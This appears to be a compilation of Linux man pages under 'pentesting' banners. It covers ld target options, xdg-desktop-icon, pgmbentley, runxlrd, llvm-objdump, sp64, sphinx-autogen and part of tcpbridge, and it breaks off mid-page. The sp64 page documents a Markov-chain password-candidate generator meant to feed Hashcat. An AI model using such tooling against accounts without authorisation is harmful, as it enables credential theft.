This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1669 - Linux cli command xdg-desktop-icon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-desktop-icon and provides detailed information about the command xdg-desktop-icon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-desktop-icon.

NAME 🖥️ xdg-desktop-icon 🖥️

desktop-icon - command line tool for (un)installing icons to the desktop

SYNOPSIS

xdg-desktop-icon install [–novendor] FILE

xdg-desktop-icon uninstall FILE

xdg-desktop-icon {–help | –manual | –version}

DESCRIPTION

The xdg-desktop-icon program can be used to install an application launcher or other file on the desktop of the current user.

An application launcher is represented by a *.desktop file. Desktop files are defined by the freedesktop.org Desktop Entry Specification. The most important aspects of *.desktop files are summarized below.

COMMANDS

install

Installs FILE to the desktop of the current user. FILE can be a *.desktop file or any other type of file.

uninstall

Removes FILE from the desktop of the current user.

OPTIONS

–novendor

Normally, xdg-desktop-icon checks to ensure that a *.desktop file to be installed has a vendor prefix. This option can be used to disable that check.

A vendor prefix consists of alpha characters ([a-zA-Z]) and is terminated with a dash ("-"). Companies and organizations are encouraged to use a word or phrase, preferably the organizations name, for which they hold a trademark as their vendor prefix. The purpose of the vendor prefix is to prevent name conflicts.

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

DESKTOP FILES

An application launcher can be added to the desktop by installing a *.desktop file. A *.desktop file consists of a [Desktop Entry] header followed by several Key=Value lines.

A *.desktop file can provide a name and description for an application in several different languages. This is done by adding a language code as used by LC_MESSAGES in square brackets behind the Key. This way one can specify different values for the same Key depending on the currently selected language.

The following keys are often used:

Type=Application

This is a mandatory field that indicates that the *.desktop file describes an application launcher.

Name=Application Name

The name of the application. For example Mozilla

GenericName=Generic Name

A generic description of the application. For example Web Browser

Comment=Comment

Optional field to specify a tooltip for the application. For example Visit websites on the Internet

Icon=Icon File

The icon to use for the application. This can either be an absolute path to an image file or an icon-name. If an icon-name is provided an image lookup by name is done in the users current icon theme. The xdg-icon-resource command can be used to install image files into icon themes. The advantage of using an icon-name instead of an absolute path is that with an icon-name the application icon can be provided in several different sizes as well as in several differently themed styles.

Exec=Command Line

The command line to start the application. If the application can open files the %f placeholder should be specified. When a file is dropped on the application launcher the %f is replaced with the file path of the dropped file. If multiple files can be specified on the command line the %F placeholder should be used instead of %f. If the application is able to open URLs in addition to local files then %u or %U can be used instead of %f or %F.

For a complete overview of the *.desktop file format please visit http://www.freedesktop.org/wiki/Specifications/desktop-entry-spec

ENVIRONMENT VARIABLES

xdg-desktop-icon honours the following environment variables:

XDG_UTILS_DEBUG_LEVEL

Setting this environment variable to a non-zero numerical value makes xdg-desktop-icon do more verbose reporting on stderr. Setting a higher value increases the verbosity.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

5

No permission to read one of the files passed on the command line.

SEE ALSO

xdg-icon-resource(1)

EXAMPLES

The company ShinyThings Inc. has developed an application named “WebMirror” and would like to add a launcher for for on the desktop. The company will use “shinythings” as its vendor id. In order to add the application to the desktop there needs to be a .desktop file for the application:

shinythings-webmirror.desktop:

  [Desktop Entry]
  Encoding=UTF-8
  Type=Application

  Exec=webmirror
  Icon=shinythings-webmirror

  Name=WebMirror
  Name[nl]=WebSpiegel

Now the xdg-desktop-icon tool can be used to add the webmirror.desktop file to the desktop:

xdg-desktop-icon install ./shinythings-webmirror.desktop

To add a README file to the desktop as well, the following command can be used:

xdg-desktop-icon install ./shinythings-README

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1670 - Linux cli command pgmbentley

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmbentley and provides detailed information about the command pgmbentley, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmbentley.

.

NAME 🖥️ pgmbentley 🖥️

Bentleyize a PGM image

SYNOPSIS

pgmbentley [pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmbentley reads a PGM image as input and performs the Bentley Effect, and writes a PGM image as output.

The Bentley Effect is described in “Beyond Photography” by Holzmann, chapter 4, photo 4. It’s a vertical smearing based on brightness.

OPTIONS

There are no command line options defined specifically for pgmbentley, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmoil(1) , ppmrelief(1) , pgm(1)

AUTHOR

Copyright (C) 1990 by Wilson Bent ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmbentley.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1671 - Linux cli command runxlrd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command runxlrd and provides detailed information about the command runxlrd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the runxlrd.

NAME 🖥️ runxlrd 🖥️

extract data from Microsoft Excel spreadsheet files

SYNOPSIS

runxlrd [options]* command *[input-file-patterns]

DESCRIPTION

This manual page documents briefly the runxlrd command.

runxlrd offers a commandline interface to the Python xlrd module; it extracts data from Microsoft Excel spreadsheet files. For a complete list of options and commands, run runxlrd with –help arguments.

OPTIONS

-h, –help
Show summary of options and exit.

**-l **logfilename
Contains error messages.

-v verbosity, –verbosity=verbosity
Level of information and diagnostics provided.

-m mmap, –mmap=mmap
1: use mmap; 0: don’t use mmap; -1: accept heuristic.

-e encoding, –encoding=encoding
Encoding override.

-f formatting, –formatting=formatting
0 (default): no fmt info 1: fmt info (all cells) 2: fmt info (margins trimmed).

-g gc, –gc=gc
0: auto gc enabled; 1: auto gc disabled, manual collect after each file; 2: no gc.

-s onesheet, –onesheet=onesheet
Restrict output to this sheet (name or index).

COMMANDS

Main commands are

  • 2rows

  • 3rows

  • bench

  • hdr

  • labels

  • names

  • ov

  • show

  • version

  • xfc

See the xlrd API documentation for the meaning of these commands.

EXAMPLES

To show the first, second and last rows of each sheet in each file, run

$ runxlrd 3rows *blah*.xls

Run

$ runxlrd -e koi8_r 3rows myfile.xls

to explicitly pass the needed codepage to xlrd, e.g. if the codepage record is missing, or if it exists but is wrong.

SEE ALSO

The xlrd API documentation, shipped in the file xlrd.html.
The xlrd website ⟨URL: http://www.python-excel.org ⟩.

AUTHOR

runxlrd was written by John Machin.

This manual page was written by Joost van Baal <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1672 - Linux cli command llvm-objdump-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-objdump-16 and provides detailed information about the command llvm-objdump-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-objdump-16.

NAME 🖥️ llvm-objdump-16 🖥️

objdump - manual page for llvm-objdump 16

DESCRIPTION

OVERVIEW: llvm object file dumper

USAGE: llvm-objdump [options] <input object files>

OPTIONS:

–adjust-vma=offset
Increase the displayed address by the specified offset

–all-headers
Display all available header information, relocation entries and the symbol table

–arch-name=<value>
Target arch to disassemble for, see –version for available targets

–archive-headers
Display archive header information

-a
Alias for –archive-headers

–build-id=<hex>
Build ID to look up. Once found, added as an input file

-C
Alias for –demangle

–debug-file-directory=<dir>
Path to directory where to look for debug files

–debug-vars-indent=<value>
Distance to indent the source-level variable display, relative to the start of the disassembly

–debug-vars=<value>
Print the locations (in registers or memory) of source-level variables alongside disassembly. Supported formats: ascii, unicode (default)

–debuginfod
Use debuginfod to find debug files

–demangle
Demangle symbol names

–disassemble-all
Disassemble all sections found in the input files

–disassemble-symbols=<value>
List of symbols to disassemble. Accept demangled names when –demangle is specified, otherwise accept mangled names

–disassemble-zeroes
Do not skip blocks of zeroes when disassembling

–disassembler-options=options
Pass target specific disassembler options

–disassemble
Disassemble all executable sections found in the input files

–dwarf=<value>
Dump the specified DWARF debug sections. The only supported value is ‘frames’

–dynamic-reloc
Display the dynamic relocation entries in the file

–dynamic-syms
Display the contents of the dynamic symbol table

-D
Alias for –disassemble-all

-d
Alias for –disassemble

–fault-map-section
Display the content of the fault map section

–file-headers
Display the contents of the overall file header

–full-contents
Display the content of each section

-f
Alias for –file-headers

–headers
Alias for –section-headers

–help
Display available options (–help-hidden for more)

-h
Alias for –section-headers

-j <value>
Alias for –section

–line-numbers
When disassembling, display source line numbers. Implies –disassemble

-l
Alias for –line-numbers

–macho
Use MachO specific object file parser

–mattr=a1,+a2,-a3,…
Target specific attributes (–mattr=help for details)

–mcpu=cpu-name
Target a specific cpu type (–mcpu=help for details)

-M <value>
Alias for –disassembler-options=

-m
Alias for –macho

–no-addresses
Alias for –no-leading-addr

–no-debuginfod
Don’t use debuginfod to find debug files

–no-leading-addr
When disassembling, do not print leading addresses for instructions or inline relocations

–no-print-imm-hex
Do not use hex format for immediate values

–no-show-raw-insn
When disassembling instructions, do not print the instruction bytes.

–offloading
Display the content of the offloading section

–prefix-strip=prefix
Strip out initial directories from absolute paths. No effect without –prefix

–prefix=prefix
Add prefix to absolute paths

–print-imm-hex
Use hex format for immediate values (default)

–private-headers
Display format specific file headers

-p
Alias for –private-headers

–raw-clang-ast
Dump the raw binary contents of the clang AST section

–reloc
Display the relocation entries in the file

-R
Alias for –dynamic-reloc

-r
Alias for –reloc

–section-headers
Display summaries of the headers for each section.

–section=<value>
Operate on the specified sections only. With –macho dump segment,section

–show-all-symbols
Show all symbols during disassembly, even if multiple symbols are defined at the same location

–show-lma
Display LMA column when dumping ELF section headers

–source
When disassembling, display source interleaved with the disassembly. Implies –disassemble

–start-address=address Set the start address for disassembling, printing relocations and printing symbols

–stop-address=address
Set the stop address for disassembling, printing relocations and printing symbols

–symbol-description
Add symbol description for disassembly. This option is for XCOFF files only.

–symbolize-operands
Symbolize instruction operands when disassembling

–syms
Display the symbol table

-S
Alias for –source

-s
Alias for –full-contents

–triple=<value>
Target triple to disassemble for, see –version for available targets

-T
Alias for –dynamic-syms

-t
Alias for –syms

–unwind-info
Display unwind information

-u
Alias for –unwind-info

–version
Display the version of this program

-v
Alias for –version

–wide
Ignored for compatibility with GNU objdump

–x86-asm-syntax=att
Emit AT&T-style disassembly

–x86-asm-syntax=intel
Emit Intel-style disassembly

-x
Alias for –all-headers

-z
Alias for –disassemble-zeroes

llvm-objdump MachO Specific Options:

–arch=<value>
architecture(s) from a Mach-O file to dump

–archive-member-offsets
Print the offset to each archive member for Mach-O archives (requires –macho and –archive-headers)

–bind
Display mach-o binding info

–chained-fixups
Print chained fixup information (requires –macho)

–data-in-code
Print the data in code table for Mach-O objects (requires –macho)

–dis-symname <value>
disassemble just this symbol’s instructions (requires –macho)

–dsym=<value>
Use .dSYM file for debug info

–dyld-info
Print bind and rebase information used by dyld to resolve external references in a final linked binary (requires –macho)

–dylib-id
Print the shared library’s id for the dylib Mach-O file (requires –macho)

–dylibs-used
Print the shared libraries used for linked Mach-O files (requires –macho)

–exports-trie
Display mach-o exported symbols

–full-leading-addr
Print full leading address

–function-starts=<value>
Print the function starts table for Mach-O objects. Options: addrs (default), names, both (requires –macho)

-g
Print line information from debug info if available

–indirect-symbols
Print indirect symbol table for Mach-O objects (requires –macho)

–info-plist
Print the info plist section as strings for Mach-O objects (requires –macho)

–lazy-bind
Display mach-o lazy binding info

–link-opt-hints
Print the linker optimization hints for Mach-O objects (requires –macho)

–no-leading-headers
Print no leading headers

–no-symbolic-operands do not symbolic operands when disassembling (requires –macho)

–non-verbose
Print the info for Mach-O objects in non-verbose or numeric form (requires –macho)

–objc-meta-data
Print the Objective-C runtime meta data for Mach-O files (requires –macho)

–private-header
Display only the first format specific file header

–rebase
Display mach-o rebasing info

–rpaths
Print the runtime search paths for the Mach-O file (requires –macho)

–universal-headers
Print Mach-O universal headers (requires –macho)

–weak-bind
Display mach-o weak binding info

Pass @FILE as argument to read options from FILE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1673 - Linux cli command sp64

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sp64 and provides detailed information about the command sp64, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sp64.

NAME 🖥️ sp64 🖥️

word generator based on per-position Markov chains

SYNOPSIS

sp64 [options]… hcstat-file [filter-mask]

DESCRIPTION

Statsprocessor is a word generator based on per-position Markov chains packed into a single stand-alone binary. The resulting words can then, for example, be postprocessed and fed into Hashcat or other password recovery tools.

sp by atom, High-Performance word generator based on hashcat markov stats

* Startup:

-V, –version
Print version

-h, –help
Print help

* Increment:

–pw-min=NUM
Start incrementing at NUM

–pw-max=NUM
Stop incrementing at NUM

* Markov:

–markov-disable
Emulates maskprocessor output

–markov-classic
No per-position tables

–threshold=NUM
Filter out chars after NUM chars added Set to 0 to disable

* Misc:

–combinations
Calculate number of combinations

–hex-charset
Assume charset is given in hex

* Resources:

-s, –skip=NUM
skip number of words (for restore)

-l, –limit=NUM
limit number of words (for distributed)

* Files:

-o, –output-file=FILE
Output-file

* Custom charsets:

-1, –custom-charset1=CS
User-defineable charsets

-2, –custom-charset2=CS
Example:

-3, –custom-charset3=CS –custom-charset1=?dabcdef

-4, –custom-charset4=CS
sets charset ?1 to 0123456789abcdef

* Built-in charsets:

?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?s = !"#$%&’()*+,-./:;<=>?@[^_`{|}~ ?a = ?l?u?d?s ?h = 8 bit characters from 0xc0 - 0xff ?D = 8 bit characters from german alphabet ?F = 8 bit characters from french alphabet ?R = 8 bit characters from russian alphabet

EXAMPLE

The following example was made just to see what comes out of statsprocessor.

$ ./sp64.bin –pw-min 5 –pw-max 5 hashcat.hcstat ?l?l?l?l?l | head -9

In Markov chains we have a statistic generated which letter is following which letter based on the analysis of the original input dictionary used to generate the .hcstat. In this case the most used letter on the first position is the letter “s”. The program then looks up the Markov table with the key “s” to get the most used letter after the letter “s” on position 0. In our case, it’s the letter “a”. This chain continues until the end of the word, iterating through all letters stored in the Markov table.

REPORTING BUGS

Please report bugs upstream to the statsprocessor issue tracker on GitHub: https://github.com/hashcat/statsprocessor/issues

COPYRIGHT

This tool is developed and maintained by Jens Steube under the MIT License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1674 - Linux cli command sphinx-autogen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sphinx-autogen and provides detailed information about the command sphinx-autogen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sphinx-autogen.

NAME 🖥️ sphinx-autogen 🖥️

autogen - Generate autodoc stub pages

SYNOPSIS

sphinx-autogen [options] <sourcefile> …

DESCRIPTION

sphinx-autogen is a tool for automatic generation of Sphinx sources that, using the autodoc extension, document items included in autosummary listing(s).

sourcefile is the path to one or more reStructuredText documents containing autosummary entries with the :toctree:: option set. sourcefile can be an fnmatch-style pattern.

OPTIONS

-o <outputdir>
Directory to place the output file. If it does not exist, it is created. Defaults to the value passed to the :toctree: option.

-s <suffix>, –suffix <suffix>
Default suffix to use for generated files. Defaults to rst.

-t <templates>, –templates <templates>
Custom template directory. Defaults to None.

-i, –imported-members
Document imported members.

-a, –respect-module-all
Document exactly the members in a module’s __all__ attribute.

EXAMPLE

Given the following directory structure:

docs ├── index.rst └── … foobar ├── foo │ └── init.py └── bar ├── init.py └── baz └── init.py

and assuming docs/index.rst contained the following:

Modules =======

.. autosummary::
   :toctree: modules

   foobar.foo
   foobar.bar
   foobar.bar.baz

If you run the following:

$ PYTHONPATH=. sphinx-autogen docs/index.rst

then the following stub files will be created in docs:

docs ├── index.rst └── modules ├── foobar.bar.rst ├── foobar.bar.baz.rst └── foobar.foo.rst

and each of those files will contain a autodoc directive and some other information.

SEE ALSO

sphinx-build(1), sphinx-apidoc(1)

COPYRIGHT

2007-2024, the Sphinx developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1675 - Linux cli command tcpbridge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpbridge and provides detailed information about the command tcpbridge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpbridge.

NAME 🖥️ tcpbridge 🖥️

Bridge network traffic across two interfaces

SYNOPSIS

tcpbridge [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

tcpbridge is a tool for selectively bridging network traffic across two interfaces and optionally modifying the packets in between

DESCRIPTION

The basic operation of tcpbridge is to be a network bridge between two subnets. All packets received on one interface are sent via the other.

Optionally, packets can be edited in a variety of ways according to your needs.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Rewrite TCP/UDP ports. This option may appear up to 9999 times.

Specify a list of comma delimited port mappings consisting of colon delimited port number pairs. Each colon delimited port pair consists of the port to match followed by the port number to rewrite.

Examples:

    --portmap=80:8000 --portmap=8080:80    # 80->8000 and 8080->80
    --portmap=8000,8080,88888:80           # 3 different ports become 80
    --portmap=8000-8999:80                 # ports 8000 to 8999 become 80

Randomize src/dst IPv4/v6 addresses w/ given seed. This option may appear up to 1 times. This option must not appear in combination with any of the following options: fuzz-seed. This option takes an integer number as its argument.

Causes the source and destination IPv4/v6 addresses to be pseudo randomized but still maintain client/server relationships. Since the randomization is deterministic based on the seed, you can reuse the same seed value to recreate the traffic.

Rewrite IPv4/v6 addresses using pseudo-NAT. This option may appear up to 2 times. This option must not appear in combination with any of the following options: srcipmap.

Takes a comma delimited series of colon delimited CIDR netblock pairs. Each netblock pair is evaluated in order against the IP addresses. If the IP address in the packet matches the first netblock, it is rewritten using the second netblock as a mask against the high order bits.

IPv4 Example:

    --pnat=192.168.0.0/16:10.77.0.0/16,172.16.0.0/12:10.1.0.0/24

IPv6 Example:

